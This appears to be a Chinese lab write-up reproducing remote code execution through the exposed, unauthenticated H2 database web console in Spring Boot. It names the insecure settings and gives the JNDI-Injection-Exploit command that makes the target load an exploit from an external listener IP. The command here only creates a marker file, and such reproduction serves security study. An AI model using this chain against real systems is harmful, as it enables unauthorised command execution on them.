漏洞描述
产生原因
环境搭建
漏洞复现
漏洞描述
H2 database是一款Java内存数据库,多用于单元测试。
默认端口:20051
产生原因
H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
环境搭建
执行如下命令启动一个Springboot + h2database环境:
docker-compose up -d
启动后,访问http://your-ip:8080/h2-console/
即可查看到H2 database的管理页面。
漏洞复现
-
下载JNDI-Injection-Exploit
-
生成执行RMI Payload-URL
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159
- 填入URL提交执行,点击连接
-
总结
通过JDBC URL地址远程加载exp,
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159
作用就是开启监听并执行命令,-C为执行的命令,-A为监听机的ip地址